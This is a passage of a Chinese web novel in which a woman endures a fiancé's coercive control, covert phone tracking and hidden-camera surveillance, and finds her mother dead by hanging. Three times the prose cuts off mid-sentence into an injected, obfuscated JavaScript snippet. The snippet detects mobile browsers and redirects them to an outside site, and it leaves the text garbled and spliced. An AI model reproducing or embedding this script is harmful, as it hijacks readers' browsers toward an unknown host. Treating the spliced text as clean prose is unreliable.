季琪琨今日穿着一件剪裁得体的深色格纹西装外套,内搭一件简洁的黑色V领衬衫,V领下的颈胸白皙细腻。与外套成套的西裤衬得双腿更是笔直修长。手腕上戴着一块精致的手表,金属的光泽在夕阳下若隐若现。 他就像是一位从古典油画中走出的绅士,既有时代的风度,又不乏现代的风采。他的每一个动作、每一处细节都散发着独特的魅力,足以让每一个涉世不深的人为之心动。 “……有。”魏芷短暂思量后,决定坦白,“我下午早退了。” 季琪琨果然没有露出丝毫吃惊。 “为什么不告诉我?” “你去参加博览会,我担心打扰到你,所以……” 季琪琨已经走到她的面前,却仍未停下脚步,魏芷不得不后退,直到后腰撞上冰冷的中岛。 “所以你就可以骗我?”他注视着她,轻声说。 “这怎么是骗你呢?我……” “你就是在骗我!” 没有预兆的一声呵斥让魏芷愣在原地,她诧异地看着眼前的季琪琨,在一瞬间的怒色之后,他的脸上又恢复了那种没有温度的平静。 “我不想听你狡辩,小芷。做错了事,不受到惩罚是不可能的。”他轻柔地说。 魏芷不想再在这个问题上纠缠下去,而且她之后还有求于季琪琨,她低声下气道: “……你想怎么惩罚?” “让我想想,那就罚你……问问小蔡,每天喝的星巴克里面是不是灌的白开水。”季琪琨的脸上露出了恶趣味的微笑。 魏芷看着他半晌没动,他脸上的笑意就慢慢变成了更冷的哂笑。 “你欺骗了我,却连这样小的事情都不愿意做。”他说,“魏芷,你真的爱我吗?” “没有别的惩罚可以选择吗?” “那你跪下来向我道歉,发毒誓证明你再也不会骗我。”他似笑非笑道。 “……如果我都不选呢?” 季琪琨冰凉的手心放到了她的脸上,他可怜地望着她闪烁的眼眸,轻声说:“你都无法让我相信你对我的爱,我们还有结婚的必要吗?” 在这一刻,魏芷相信他早就看穿了她那颗迫切想要跟他结婚的心。跟更细节的东西无关,那是季琪琨长年累月保持的傲慢。他知道自己的优势在何处,金钱、外貌、人格魅力,他每一样都不缺,对他来说,无论是爱上他的钱还是外表,都无关紧要。 无论哪一样,都是他控制别人的筹码。 在季琪琨期待的微笑下,她拨通了小蔡的电话号码,问出了季琪琨想让她问的问题。 小蔡在电话里勃然大怒,骂了一通。 “你脑子有病就去医院看看!” 电话挂断了,魏芷朝季琪琨看去,他正露着满意的笑容。 “做得好。”他爱怜地摸了摸她的头,“我原谅你这次对我撒谎了。但你要答应我,今后不可以再骗我。” “……好。”魏芷说。 “晚上吃什么?我来帮你吧。”季琪琨像刚刚什么都没发生那样,自然地打开了冰箱。 “琪琨,我有件事想求你帮忙。”魏芷趁机开口。 “你说。” “我想把我妈接过来住一段时间,等我找到房子了,再让她搬出去。” 魏芷观察着季琪琨的脸色,他没有明显的反感神色,只是疑惑道:“你妈为什么要单独出来住?” “她决定离婚了。” “好啊。”季琪琨只是略一思考,就轻松地答应了魏芷的要求,“也别让老人搬来搬去了,就一直跟我们住吧。难道我还没多的房间给她吗?住在一起,你也好照顾一点。” 魏芷心中对季琪琨刚刚升起的反感和厌恶因为这一句话,几乎要烟消云散了。 “琪琨……谢谢你。” “一家人别说两家话。”他笑着对魏芷说,“你知道我有多爱你,对吧?” “我知道。”魏芷说。 她更知道的是,爱有多么致命。 …… 第二天一早,魏芷在季琪琨的陪同下前往魏家所在的小巷。 巷道狭窄,但考虑到要搬王琳的行李,魏芷还是让季琪琨把添越开进了巷道。 进入巷道后,城市化的街道就被留在了身后,越是往巷子里开,空气里的潮湿就越是明显,添越在路上一抖一颤,时不时会有地砖被碾压翘起,污水飞溅起来的声音。 两边的石墙上,爬山虎肆意攀爬。远处偶尔传来几声鸡鸣,显得寻常而宁静。 当添越转过最后一个转角,出现在眼前的景象令车上的两人都猝不及防。 平时默不作声生活在巷道里的人群像是从地底涌出般,前所未有且密密麻麻地围在杂货店前,嘈杂的人声交织成一片,如同一场无序的交响乐。 在这混乱之中,几辆警车停靠在一旁,蓝红相间的警灯闪烁不停,仿佛是白日里熊熊燃烧的火焰,为这里涂上了不祥的颜色。警察们穿着制服,在人群中穿梭,像是一群沉默的守护者。 “退出去,退出去,走其他路!”有穿着派出所民警制服的警察朝这里大声喊道。 魏芷顾不上旁边的季琪琨,已经率先开门下车,朝杂货店走了过去。 “干什么呢,别堵在这里,赶紧把车开出去!”民警再次说道。 “这里出什么事了?”魏芷问,目光跳过民警的肩头,往围满了警察的杂货店里面看去。 “你是什么人?” “我是这家的女儿。发生什么事了?” 民警措不及防,愣了一下。魏芷的问题仿佛是个至今未有答案的未解之谜,在他迟疑的那一瞬间,魏芷已经越过他走进了人群。 “终于有人回来了……” “好像是这家的女儿……” 有熟悉的邻居认出她后主动让出了道路。这种自觉,让她心中更是不安。脚下的每一步都格外艰难,仿佛是在穿越一片浓雾中的迷宫。 她首先注意到的是那些警察,穿过人群后他们的身影更加醒目,挡在设立了警戒线和告示牌的杂货铺前,仿佛是一道不可逾越的屏障。 魏芷的目光在他们之间搜寻,希望能找到一丝线索,但只看到一张张严肃的脸庞,像是冬日里凝固的湖面,冰冷而坚硬。 接着,她的耳朵捕捉到了更多路人的议论: “真是太可怜了,怎么就想不开呢……” “听说是自己得了病,男人又老是打她……” 这些话语像冰锥一样刺入魏芷的心中,让她感到一阵阵寒意。她不敢相信自己的耳朵,更不敢相信这一切所指向的事实。 听闻家属来了,在她面前的警察拿来了一个无纺布编织的帽子让她戴上,又给了她一双鞋套,再三交代不能破坏现场后,才带着她走进了杂货店。 屋内的光线昏暗,空气中弥漫着一股令人窒息的气息,墙上挂着的日历停留在昨天,时间仿佛在这里停滞了。 店里一如她昨天来过的样子,那罐王琳递给她,她却没有接的可乐,就安静伫立在柜上之上。 唯一的不同之处就是王琳通常坐着看手机的那个地方,椅子不见了,王琳跪在一米五的货架前,脖子上套着一条亚麻色的麻绳。 警察拦住了还想往前走的魏芷。 “你妈妈最近有什么异常吗?” “你最近一次见到她是什么时候?” “她有没有对你说过什么?” 魏芷木然地看着王琳,她双眼紧闭,神色安宁,要不是惨白的脸色,就像只是睡着了一般。 警察的声音像是从很远的地方传来,模糊又混沌,和她耳蜗中的蜂鸣重叠在一起。 “她死了吗?” 魏芷冷静的问话让警察一愣。 “……我们发现的时候,她的体温已经凉了。”他委婉地说道。 魏芷的心脏仿佛被一只无形的手紧紧攥住,每一次跳动都伴随着疼痛,就像是被一根根细针刺穿。 那丝丝缕缕的疼痛戳破了她和现实的解离。 “不可能……她不可能死的。”魏芷喃喃自语,“她昨天还答应我,要一起离开这里。她答应过我——她明明答应我了!” 警察拦住了想要朝王琳扑去的魏芷,她向着无法触摸到的母亲用力伸出了双手,摸到的只有冰冷的空气。 跟她同样打扮的季琪琨赶了过来,从警察手里接过魏芷,从身后抱着她,不让她扑向正在被搬运的母亲。 她在季琪琨的怀中尖叫,挣扎,哭泣,赤红的双眼紧紧盯着王琳的身躯——那个本该熟悉的身影,此刻却显得陌生和冰冷。一条白色的床单覆盖着她的身体,只留下一双不再有任何体温的脚露在外面,它们静静地躺在那里,如同枯死的藤蔓,一动不动。 她哭喊着,却得不到任何回应。看热闹的人群依旧喧闹不已,但那些声音永远也无法穿透她内心的绝望与哀痛。 她那徒有形式的家在这一刻,彻底毁灭。连虚伪的假象都不复存在。 “怎么了?怎么回事?!” 彻夜未归的魏杉和魏来此时才姗姗来迟,一个刚从牌桌上下来,一个刚从网吧里出来,身上不约而同带着浓浓的烟臭。 一名民警站了出来,确认魏杉的身份后,对他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我听琪琨说了,本来想第一天就来,但实在是找不到机会,直到今天才推了一个会来到这里。”季钟永面露沉痛,“世事无常,节哀顺变。” “是啊,是啊。”魏杉如听仙乐,连连点头,“亲家也要保重身体。” “这是我的一点心意,还请亲家收下。”季钟永伸手示意,他的司机立即从怀中掏出一包用白信封装着的钱,双手递给魏杉。 魏杉刚忍不住咧开嘴角,忽然想起自己此刻的身份,扬起的嘴角立马压了下去,露出一丝装模作样的悲伤。 “亲家客气了……”他迫不及待地接过了那个白信封,然后说,“我把魏芷交给你们家,再放心不过了。虽然小芷她妈走了,但她生前最想看见的就是两个孩子婚礼的场景。你们千万别为了这件事延迟婚礼。” 季钟永眼中闪过一抹厌恶,撇下魏杉走到魏芷面前,拍了拍她一身缟白的肩膀,语重心长道:“节哀顺变,有什么困难就和琪琨或者我说。大家以后都是一家人,不要客气。” “是啊!你看你公公对你多好!多少人求都求不来的!”魏杉丝毫没有看出季钟永的不喜,仍厚着脸皮插话道。 吊唁之后,季钟永带着司机先走,季琪琨走在后面,对魏芷说:“要我留下来陪你吗?” 魏芷忠实地扮演着一个体贴未婚妻的形象,强打起笑容:“没事,不用担心我。你去忙你的工作吧。” 季琪琨握了握她的手,然后转身走出了灵堂。 三天后,王琳被送到了火葬场。魏芷在观礼厅最后一次看到王琳,她穿着最后一次来画廊前找魏芷的那身衣服——那身魏芷买的,她总舍不得穿的衣服。脸上画着她平时绝不会画的浓妆,如此陌生地躺在那里,再也不会小心翼翼地问她“妈给你煮碗面?” 人的心跳只会在死亡的那一刻停止,但人的灵魂,一定在一生之中无数次死去。 她是一个一次次死去,又一次次从地狱中爬出来的恶鬼。 当王琳的身体被推入焚化炉,火声呼啸而出的那一瞬间,观礼厅内响起了魏来伤心的哭声,因为她听出了那伤心是真的,所以更加觉得可笑。就连魏杉也在暗自抹着眼泪。 就是这种可笑。 魏芷一滴泪都没有掉,她觉得被推入焚化炉的是另一个人,与她无关的人。 她真正的母亲,真正的王琳,在那最后一夜,插上翅膀永远离开了这浑浊肮脏的人间。她带走了她身上的囚笼——困了她二十六年,已经和她的血肉牢牢长在一起的囚笼。 那是一个母亲无奈而决绝的爱。并非她所期望的那种爱……但仍然是爱。王琳出于对她的爱,选择了这一条路。 她是如此痛恨爱。爱让人面目全非,爱让人遍体鳞伤,爱让人自以为是。她比任何人都爱王琳,也比任何人都恨她。 大火在焚化炉内熊熊燃烧,隔着玻璃也能听到囚笼融化粉碎的声音。 她再次变得鲜血淋漓,但终将获得新生。 15.第 15 章 王琳火化后,季琪琨虽然提出给她放一个月的假,但魏芷还是拒绝了。 下葬后的第二天,她就如常来到画廊上班,仿佛看不到那些异样的目光。财务办公室里,每个人说话都小心翼翼,尽量避免嬉笑怒骂,就连前不久刚被魏芷打电话故意找茬的小蔡,也没有与她算账的意思,维持了之前的和平。 她努力让繁忙的工作麻痹丧母之痛,直到家附近的快递站给她电话催促,她才想起一个月前购买的高仿包,还没来得及去拿。 有了上次的前车之鉴,她敲响总监办公室的房门,开门走了进去。 “快递?你买的什么?” “大促时买的卫生巾。”魏芷说出早有准备的答案,“不值多少钱,但一直放在那儿也不好。” “那你等我下班,我送你去拿吧。” 季琪琨正在签订购合同,头也不抬地说道。 “不用了,正好我想出去透透气。我先下班,拿了快递之后在家做好饭等你,行吗?” “真的不用我送你?” “你的工作为重。” 走出总监办公室后,魏芷回财务办公室拿了自己的包,一话不说地走了出去,没有人叫住她,因为她做的早就是众人习以为常的事。尽管那非她本意。 她在门前的公交车站坐公交前往快递站,除了省钱,还有一个原因是她不想太快见到那条熟悉的街道。 因为正值上班时间,车上只有稀稀拉拉的几个人。魏芷选了个靠窗的位置坐下,推开玻璃窗,让夏末的微风尽情吹拂在脸上。 她讨厌夏天,因为夏天两次夺走她重要的人。 漫长的四十分钟后,她终于到站。太阳已经改变了位置,夕阳铺满了整个人行道。她独自下车,慢慢往前走去。 附近的小学刚刚放学,一大群学生涌了出来。有的迅速找到了守在门口的长辈,满脸笑容地挽上大人的手臂,有的第一时间冲进了小卖部,点选着辣条和炸串。 上一秒还清冷寂寥的街道,短短片刻就被热闹装满。 结伴而行的孩子手挽着手从她身旁经过,他们的笑声在空气中回荡,轻快而明亮。有家人接的孩子,在大人身边跳跃着,不时发出银铃般的欢呼声,每个动作都充满了童真的喜悦。手牵着孙辈的老人,耐心地听着孩子天真的话语,满头银发在落日余晖中折射着温暖的光芒。 魏芷的步伐与这流动的人潮形成了鲜明对比。 她走得比七旬老人还要慢,每一个人都可以将她抛在身后。 街边的一家小餐馆里传来诱人的食物香气,客人们的谈笑声透过半开的窗户飘散出来。一对年轻夫妇推着婴儿车迎面而来,婴儿好奇地四处张望,咿呀学语。但这些温馨的画面并没有触动魏芷的心弦,她就像是一个游离于世界之外的幽灵,只是安静地飘荡着。 当她看到那家快递站时,通往魏家的巷口也就出现在了眼中。但她强迫自己移开了视线,埋头走向了快递站。 “小妹,帮我查下R-43321,我没找到呢?” “诶,这个还给你们,这不是我的快递。” 魏芷避过那些堵在柜台前的人,走到里面的仓库,根据自己的取件码寻找快递。 很快,她拿到了被遗忘许久的小快递箱,扫码确认出库后,带着箱子离开了快递站。 在附近的菜摊上买菜的时候,她看见一个渔民正在卖刚刚打捞上来的海虾海鱼,虾子又大个又新鲜,她便也买了一点。买完菜后,魏芷走进一家超市,又买了二十包卫生巾。 “能借把刀,还有透明胶带给我吗?” 魏芷找超市主人借了一把美工刀,划开快递箱后,取出里面的高仿包,把刚买的卫生巾给放了进去。装好后,她用透明胶带重新封箱。 做完这一切,她才打车回家。 魏芷进屋后,先看了玄关处的鞋柜,确认季琪琨还没回家后,她把快递箱放在地上,先拿着高仿包进了衣帽间,把它和那些高仿包里放到了一起。她刚关上玻璃柜门,门前就响起了季琪琨进门的声音。 “琪琨,你回来了。”她迎了出去。 “你也刚回来?”季琪琨看了一眼地上的快递箱,“拿到了?” “是啊,我现在就准备做饭。” 魏芷在魏家做了二十多年的饭,速度和手艺都不必说。她利落地准备了四菜一汤,叫书房里的季琪琨出来吃饭。 餐桌上的灯光柔和地洒下,将精致的菜肴映得更加诱人。那盘水煮虾摆在正中的位置,虾壳在滚烫的油水中变得鲜红透亮,每一尾虾都蜷缩着身体。酱料碟里盛着清透的深色液体,散发着淡淡的酱油和醋的味道。 魏芷和季琪琨各自低头,偶尔夹起一筷子食物送入口中,咀嚼的声音在静谧的空气中显得格外清晰。 季琪琨忽然说:“为什么没有芥末?” 他刚刚将一枚蘸了酱料的水煮虾放进嘴里。 “厨房里的芥末用完了,还没来得及买。” “你去超市没买?” 魏芷愣了愣。 “……算了,这次将就了。下次记得准备。”季琪琨对她笑了笑,安慰道。 吃完饭后,季琪琨又回去了书房加班,魏芷则在外边收拾餐桌上的残局。 季琪琨在餐桌上无意说的那句话,却忽然激起了她之前的疑问。那次早退之后,季琪琨马上得到了消息。一开始,她以为是财务办公室的人通风报信。 如果不是呢? 她将碗筷收入洗碗机后,看了眼紧闭的书房房门,掏出手机打开自己的设置,点开位置信息后,屏幕上出现了此刻正在使用定位权限的所有软件。 除开那些她熟悉的软件之外,她在不断下滑中看到了一个陌生的名字。 “家庭守卫者”,定位权限的设置是“始终”。 魏芷立即返回手机桌面,仔细寻找这个陌生的软件图标,终于在一个被她扔满自带软件的文件夹里,找到了这个隐秘的“家庭守卫者”。 她打开之后,发现竟然是一款定位软件,不仅能实时监控她的定位,还能显示她在这个地方一共逗留了多久。 而她唯一的好友,名叫“主人”。 …… 季琪琨关掉了电脑上的页面,起身走到门前。 他打开房门,看到了站在门外的魏芷。 “……我不是说了工作的时候,不要打搅我吗?”他眉心微皱。 魏芷抬头看他,将手里的手机拿起。 “这是什么?” “家庭守卫者”的界面停留在手机屏幕上。季琪琨只看了一眼,眼中的意外也只停留了一霎。 “为什么要监视我?”魏芷问。 季琪琨在半晌的时间里,脑中已闪过无数借口。但每一个都太过牵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642719|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强,在他看来有失体面。于是,他笑着说道:“这不是监视。” 他走出书房,不忘反手关上书房的门。 “你母亲刚走,我怕你想不开出事。有这个软件,我不在的时候也能更放心一点。” “警察对罪犯,才是监视。”他说,“我对你,是保护。这个软件不会对你造成任何不便。” “我这样和犯人有什么区别?” “好,那我问你。犯人被限制行动了,你被限制行动了吗?” “犯人必须每天要干满多少个小时的活儿,我逼你干活了吗?” “犯人连吃饭睡觉的时间都有规定,我规定过你吗?” 季琪琨步步紧逼,根本不给魏芷说话的机会。 “我只是担心你的人身安全,你就把自己和囚犯相提并论。你就是这样对一个全心为你考虑的人?你这么说,就没有想到我会有多伤心吗?” “我确实比囚犯自由,但你随时查看我的定位,和监视有什么区别?”魏芷问。 “那我再问你,这个软件给你造成了任何不便吗?” 手机上一个无声无息的定位软件,如果说会有不便,那也只是在做季琪琨不愿意她做的事情上有所不便。 事情的本质应该是个人空间遭到侵犯。但如果以个人空间为由提出抗议,她能够想象到,季琪琨一定会用爱来将他的行为正义化。 只要回答他的这个问题,无论是从任何方面切入,都会落入他的陷阱。 然而,光是意识到这是个陷阱,就已经花去了一秒钟的时间。她的迟疑在季琪琨看来和哑口无言无异。 “更何况,我会在你的手机上安装定位软件,也是因为你先骗了我。”季琪琨说,“如果你想让我再次相信你,就要证明你的诚意。还是说,你有什么不能告诉我的行踪?” “……当然没有。” “那这个软件,就不会对你造成任何不便。反而会维护我们感情的稳定,重新修护我们之间的信任。”季琪琨将她拥入怀中,低头对她说,“难道不是么?” “……” “我爱你,小芷。”季琪琨在她额头轻轻地反复亲吻,低如呢喃地说道,“因为我太爱你了,所以总是患得患失,我也不喜欢这样的自己。小的时候,我总是一个人在伯父家,家里只有我和佣人,那种被抛弃的感觉,让我无法对人轻易产生信任……哪怕是你,小芷,但手机上的定位软件,是我以自己的方式去努力信任你的证据……不要因此抛弃我,好么?” 他在她耳边轻声说道,声音中带着一丝脆弱和请求。 “……你的id是什么意思?”魏芷问。 “我是这颗心的主人。”他修长的手放上魏芷的心口,露出一抹狡黠的微笑,“不是吗?” 奴隶主美化自己的时候,也会这么说吧。魏芷感受不到任何浪漫存在。 魏芷看出季琪琨无论如何也不会放弃监控她的行为,装作被他说服的样子。 “那你会是这颗心永远的主人吗?” 季琪琨自信地笑了。 “一定是。” “我也要当你的主人。”魏芷说。 季琪琨说:“你早就是我这颗心的主人了。” “不——现在还不是。” 魏芷温顺地靠在他的怀里,在心里说道。 但离那一天,已经越来越近了。 16.第 16 章 作为最亲密的枕边人,魏芷能比别人更多地了解到季琪琨属于夜晚的一面。 他是一个好同事,好上司,好朋友,好邻居,好路人,他每天固定六点起床,空腹锻炼后进食健康食品,在其他员工还未到达工位的时候,就已经坐在办公室里开始处理工作。魏芷在画廊工作两年多时间,从未见他在工作时间外布置工作。逢年过节,超市购物卡绝不会少,就连画廊里的临时工也会有一份节日礼物。若是在路上遇到需要帮助的人,他会毫不犹豫伸出援手。 他有一张不输于明星的英俊脸庞,鹤立鸡群的颀长身材,他温和,风趣,体贴,谁也说不出他一丝不好。 那是属于白日的季琪琨。 而光芒万丈的另一面,是晦暗混沌的夜色。 他是夜色中唯一的主宰。 手机上的监控软件只是其中一种手段,绝非唯一。 财务办公室里一如寻常,键盘的敲击声断断续续,今天库房来了一批新签约画家的作品,库存会计正在埋头苦干,隔壁的小蔡躲在隔板后面,对着一面小镜子调整假睫毛的位置。唯一的男性坐在玻璃房内悠闲地玩手机。 魏芷的目光状若无意地扫过眼前的三面墙壁,记下了所有可疑的地方。 最让她在意的,还是身后的那面墙壁。 想要随时监控工作中的她,身后的位置再方便不过了。 一阵敲门声让她从思考中抽离出来,办公室里的人也都不约而同抬起了头。 行政部的小林满面笑容地走了进来,手里还提着一个六寸的生日蛋糕,蛋糕顶部的绑带上还系了一支盛放的黄色康乃馨。 “小蔡,祝你生日快乐。这是公司给你的生日礼物。” 说是公司,其实财务处的人都知道,这是季琪琨私人账户出的钱,作为给过生员工的福利。魏芷来画廊两年多,她也收到过两次这样的蛋糕。 李经理从玻璃隔间里走了出来,乐呵呵地让大家休息一下,共同给小蔡庆生。 “等等,我先去谢谢季总——” 小蔡红着脸,急匆匆地走出去了。出纳会计有意无意地看了魏芷一眼。 “光吃蛋糕会腻,我去买点小蔡喜欢的星巴克。”魏芷也站了起来,笑道,“你们想喝什么?” “咖啡就我请吧,麻烦小魏跑一趟。”李经理笑道。 “没事,也是我的心意。”魏芷说。 星巴克就在画廊外三百米左右的地方,虽然就在公司附近,但魏芷从未单独来过。 “您好。”穿围裙的咖啡师微笑着看着柜台外的魏芷,即便她沉默不语地望着墙上的价目表,对方也没有出言催促。 浓烈的咖啡香气飘散在空气中,一杯咖啡就要三四十块的店,每次魏芷路过都座无虚席。她一直想不明白,那些能够在星巴克悠然坐下,随便点一杯几十块钱的咖啡的人,究竟做了什么才与她的人生如此不同。 随着成长,魏芷喜欢的东西越来越少,讨厌的东西却越来越多。从上一个公司离职后,魏芷讨厌的东西加了一种:咖啡。 在上一个没有食堂的公司里,如果选择带饭前往公司,要么会增加王琳的工作量,要么会影响她每天下班后额外的兼职;如果中午回家吃饭,来回地铁费也会增加。 钱,钱,钱—— 魏芷是那晕头转向的陀螺,而钱是空中发出爆裂之声的鞭子。 公司里设置了一个小小的茶水间,因为里面只有廉价饼干和从没见过牌子的速溶咖啡而无人问津。每到中午时分,其他同事都回家或出门吃饭了,魏芷就会打开茶水间的门,一杯杯地冲泡咖啡。 甜的,腻的,污垢一样的充满添加剂的咖啡液黏在喉咙黏膜上,和她身上如附骨之疽一般的穷苦如出一辙。 速溶咖啡的热量和每天限量供应的那几块饼干,支撑着她大汗淋漓地提着客人的外卖在步梯上快跑。 王琳已经死了。 没有每月四万多的医药支出,就算是只靠贱卖季琪琨送的礼物,她也能迟早把网贷还完。 魏芷不必再做那些同时成为两人生命不能承受之重的牺牲,但她并没有因此感到轻松。 她必须找到新的人生目标,不然就没有办法说服自己在这地狱般的世界继续活下去。 季琪琨是她抓到的那根稻草,是她改变人生的唯一希望。 无论如何,她都要和他结婚。 提着四杯咖啡一杯星冰乐,魏芷走回了财务办公室的门,小蔡的工位上仍空着。直到魏芷回来五分钟后,她才脸色微红地走了回来。 “寿星回来了!”李经理率先说道。 “来来来,我们插蜡烛吧!”库存会计说。 魏芷拿起蜡烛包装袋递给去,小蔡心情颇好,也没给魏芷脸色看,掏出蜡烛插了两根。 李经理主动拿出打火机,点燃了粉色和蓝色的蜡烛。 小小的火苗在细细的蜡烛上飘曳着。 魏芷笑道:“我们把窗帘拉上吧,这样更有氛围。小蔡,你今天妆画得这么漂亮,不照几张可惜了。我昨天在网上看到一组生日照,要不要我给你拍几张类似的?” 她从兜里拿出手机,划开锁屏后,露出的手机画面就是那组照片。 小蔡原本想要拒绝,但看了照片,立马心动。 “那……行吧,你拍几张我先看看。” 魏芷让李经理和财务会计关门拉窗,财务办公室里很快就变得昏暗黝黑,唯有蛋糕上的两根蜡烛发出微弱的火光。 “来,摆个姿势——”魏芷拿起手机,摄像头对准小蔡。 咔嚓咔嚓,咔嚓咔嚓,魏芷不停按着快门。 “我看看。” 小蔡接过魏芷递过去的手机看了她拍的那几张,神色由怀疑转为惊讶。 “你拍照技术不错呀!” “是啊,我再给你多拍几张。”魏芷笑道。 小蔡也顾不上两人的前尘旧怨了,全心投入到拍照里。 魏芷变换着角度不停拍着,还招呼财务会计和李经理也一起加入进入拍了几张合照。 “那你呢?”李经理问了一句。 “我不喜欢拍照,你们拍就行。”魏芷说。 就像先前的咖啡一样,这次也只是问问而已。之后,没有人再邀请魏芷加入。 她拍了几张后,趁无人注意,将照片转为录像模式,快速地录了一边办公室的场景。 “拍好了。”她笑着说,“等会我把相片私发给你们。” “发原片给我,我自己P。”小蔡强调道。 几人环绕下,小蔡终于吹灭了她的蜡烛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654895|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 窗帘被李经理再次拉开,光明驱散了办公室内的黑暗。 办公室内的几人分吃了小蔡的生日蛋糕,那支黄色康乃馨被小蔡小心地养在星巴克的咖啡杯里。 魏芷找了个借口前往洗手间,进入隔间后,她才拿出手机查看先前拍下来的照片和录像。 一张张照片在手机上刷过,魏芷时不时停下来放大某一处。 三十六秒的录像里,除她以外的财务同事们和乐融融地围在一起,财务会计的手放上小蔡肩头的那一瞬间,魏芷按下了暂停。 她不断放大画面,直到屏幕中只剩下那幽幽的红光一点。 那针芒大小的红光,来自她工位背后的绿植盆。正对着她的后背以及电脑屏幕。 如果那真的是监控摄像头的红外补光,是什么时候装上的? 是在她做假账前,还是之后? 这已经超过了是谁安装的这个问题,成为魏芷亟待解决的眼中刺。 回到办公室后,魏芷拿起手机给季琪琨发消息。 “晚上想吃什么,我提前去买。” 几分钟后,季琪琨的回覆抵达手机:“晚上我和新签约画家约了饭,你要一起吗?” 季琪琨的提议通常是委婉的拒绝,如果他真的想要她做什么事,绝不会用疑问句。这是魏芷和他交往一年后的经验。 “我不想去。”她打字说道,“我在家等你,好么?” 过了一会,季琪琨回覆:“好。” 下班后,魏芷早已查好了她要去的店的地址,她打车去到季琪琨家附近的农贸市场,在她常去的那家调味料店,装作不经意地遗落下自己的手机。 然后又打了一辆出租,催促司机以最快的速度前往最近的一家卖监控设备的店。 蓝色的招牌上写着“鹰眼安防”四个字,魏芷毫不犹豫走进空无一人的店铺。 她打量四周,四面的柜台上都放满了她不认识的盒子。 “老板在吗?”她出声道。 一个头发乱蓬蓬的卷毛年轻男人从柜台背后坐了起来,那里放着一张折叠床。他一边拿手机打着游戏,一边头也不抬地问:“你要什么?” “我想请你帮我看看,这是摄像头的红外补光吗?”魏芷说。 “什么东西?” 魏芷拿出手机打开录像,在那一秒暂停下来,请卷毛老板看那放大的红色一点。 “是。” “肯定吗?” “我干这行还不清楚?这不一看就是吗!”卷毛老板笃定地说,说完又想起什么,看了一眼魏芷,“你被偷拍啦?买个探测器不?现在的针孔摄像头高级了,有些连红外补光都不需要,但探测器是百分之百查得出来的!俗话说得好,当你发现了一只张蟑螂的时候,屋子里早就有几百只了啦!不买个探测仪,怎么放心?” “探测器贵吗?” 卷毛老板知道来了生意,马上关了手机,兴奋地拿出玻璃柜台里的一个巴掌大的样品。 “这个是射频探测仪,不贵的啦!这一款只要四百二,我看你小姑娘给你抹个零,四百怎么样?” “我还要别的。”魏芷说。 “你还要别的什么?换防盗门锁吗?这个我们也专业的啦!” “我要一个针孔摄像机。” 17.第 17 章 魏芷带着挎包里的新钢笔和射频探测仪回到农贸市场,装作匆忙的样子返回那家调料店。 “哎呀,你总算回来了,来找手机的吧?这里!” 热心的女老板早就把她“遗落”的手机收了起来,见魏芷去而复返,她毫不意外地拿出了放在柜面下面的手机。 “太感谢您了,要是找不到就伤脑筋了!”魏芷笑道。 既然定位在菜市场,她就必须买点菜回去做一顿饭,哪怕她毫无胃口,所有心思都在包里的射频探测仪上。 两分钟后,她提着随手买的芹菜和番茄往菜市场外走去。摊贩与摊贩之间的过道不仅狭窄还永远有着发臭的污水,魏芷小心避过脚下的烂菜叶,侧着身子走过一处拥挤的菜摊时,探出塑料袋半截的芹菜打在一只垂下的手背上面。 对方转身看来。 “对……”魏芷下意识道歉,抬起头却发现那是一张熟悉的面孔。 他大概是刚交接下班,身上还穿着深蓝色的保安制服。在人潮汹涌的菜市场里,他高大的身材在普通人的对比下更显健壮。 “让一让,让一让——”身后有人推着腥臭的小推车经过,魏芷反应不及时,被谭孟彦拉到了身边,一股陌生却又熟悉的气味扑鼻而来。 魏芷搬来季琪琨家后,已经很久没有闻到这种老式洗衣粉的味道了。 “小心一点。”谭孟彦说。 “不好意思……”魏芷笑了笑,“你也在这里买菜,好巧。你住这附近吗?” 谭孟彦从喉咙里应了一声,对摊贩说:“称好了吗?” “好了!” 摊贩将一袋子长黄瓜递来,谭孟彦刚要接过,魏芷开口: “等一下。” 谭孟彦看向魏芷。 “老板,你挑的黄瓜颜色都发暗了,我们重新选一下。”魏芷说。 摊贩讪讪地笑了一声:“随便你。” 魏芷轻轻捏了捏菜摊上其余的黄瓜,重新选出几根青翠硬挺的递给摊贩。 “八块。” 谭孟彦扫码结账,接过了装黄瓜的塑料袋。 “你还要买什么吗?”魏芷问。 “不了。” “我也不买了,我们一起出去吧。”她笑道。 谭孟彦点了点头,沉默地跟着她往菜市场外走去。 迷宫一般的菜场人来人往,大量的上班族在下班之后前来买菜,但他们都默契地避开了神情阴沉,身材健硕的谭孟彦。就连走在他身边的魏芷,都托福没有受到推搡。 “谢谢。”谭孟彦忽然说。 “什么?”魏芷一愣。 “黄瓜。” 魏芷哑然失笑:“没什么,你之前也帮过我。” 